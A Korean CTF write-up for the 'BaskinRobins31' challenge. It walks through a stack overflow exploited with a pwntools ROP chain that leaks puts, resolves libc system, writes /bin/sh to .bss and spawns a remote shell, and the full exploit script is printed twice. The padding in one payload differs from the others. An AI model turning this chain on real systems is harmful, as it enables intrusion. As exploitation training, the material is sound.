your_turn 함수에서 버퍼 오버플로우가 발생합니다.

your_turn 함수까지 입력받고, your_turn 함수에 puts를 이용하여 puts의 실제 주소를 출력하는 페이로드를 작성하여 전송해주고, your_turn 함수를 다시 실행하도록 하겠습니다.

r.recvuntil("(1-3)\n")

rdi_rsi_rdx = 0x000000000040087a
rdi = 0x0000000000400bc3

payload = 'A' * (0xB0 + 8)
payload += p64(rdi)
payload += p64(e.got['puts'])
payload += p64(e.plt['puts'])
payload += p64(e.sym['your_turn'])

r.sendline(payload)

Don't break the rules...:(\n 까지 입력받고, \n 전까지 입력받은 값을 u64로 언패킹 해줍니다.

r.recvuntil(":(")
r.recvuntil("\x0a")
puts_hex = r.recvuntil('\x0a')[:-1]
_puts = u64(puts_hex.ljust(8, '\x00'))
print("puts: ", puts_hex, _puts)

그리고 puts 주소에서 라이브러리의 puts offset 을 빼서 base를 구한 뒤, system 함수의 주소를 구하고,

bss 영역에 /bin/sh를 써서

system("/bin/sh")를 실행시켜 주겠습니다.

_base = _puts - libc.sym['puts']
_system = _base + libc.sym['system']
_binsh = e.bss() + 0x10

payload = ""
payload += "A" * (0x40) + "B" * 8
payload += p64(rdi_rsi_rdx)
payload += p64(0)
payload += p64(_binsh)
payload += p64(0x10)
payload += p64(e.plt['read'])
payload += p64(e.sym['your_turn'])

r.sendline(payload)
r.sendline('/bin/sh\x00')

payload = 'A' * (0xB0 + 8)
payload += p64(rdi)
payload += p64(_binsh)
payload += p64(_system)

r.sendline(payload)

전체 코드

from pwn import *

context.log_level = 'debug'

e = ELF('./BaskinRobins31')
r = remote("sunrin.site", 9008)
libc = ELF('./libc.so.6')

r.recvuntil("(1-3)\n")

rdi_rsi_rdx = 0x000000000040087a
rdi = 0x0000000000400bc3

payload = 'A' * (0xB0 + 8)
payload += p64(rdi)
payload += p64(e.got['puts'])
payload += p64(e.plt['puts'])
payload += p64(e.sym['your_turn'])

r.sendline(payload)

r.recvuntil(":(")
r.recvuntil("\x0a")
puts_hex = r.recvuntil('\x0a')[:-1]
_puts = u64(puts_hex.ljust(8, '\x00'))
print("puts: ", puts_hex, _puts)

_base = _puts - libc.sym['puts']
_system = _base + libc.sym['system']
_binsh = e.bss() + 0x10

payload = ""
payload += "A" * (0x40) + "B" * 8
payload += p64(rdi_rsi_rdx)
payload += p64(0)
payload += p64(_binsh)
payload += p64(0x10)
payload += p64(e.plt['read'])
payload += p64(e.sym['your_turn'])

r.sendline(payload)
r.sendline('/bin/sh\x00')

payload = 'A' * (0xB0 + 8)
payload += p64(rdi)
payload += p64(_binsh)
payload += p64(_system)

r.sendline(payload)

r.interactive()
728x90

'해킹 > writeup' 카테고리의 다른 글

22. format string bug - prob2  (0) 2021.08.03
21. format string bug - prob1  (0) 2021.08.01
19. sung.pw - rop64_v2  (0) 2021.08.01
18. sung.pw - ropasaurusrex  (0) 2021.08.01
17. sung.pw - rop32_v2  (0) 2021.08.01

+ Recent posts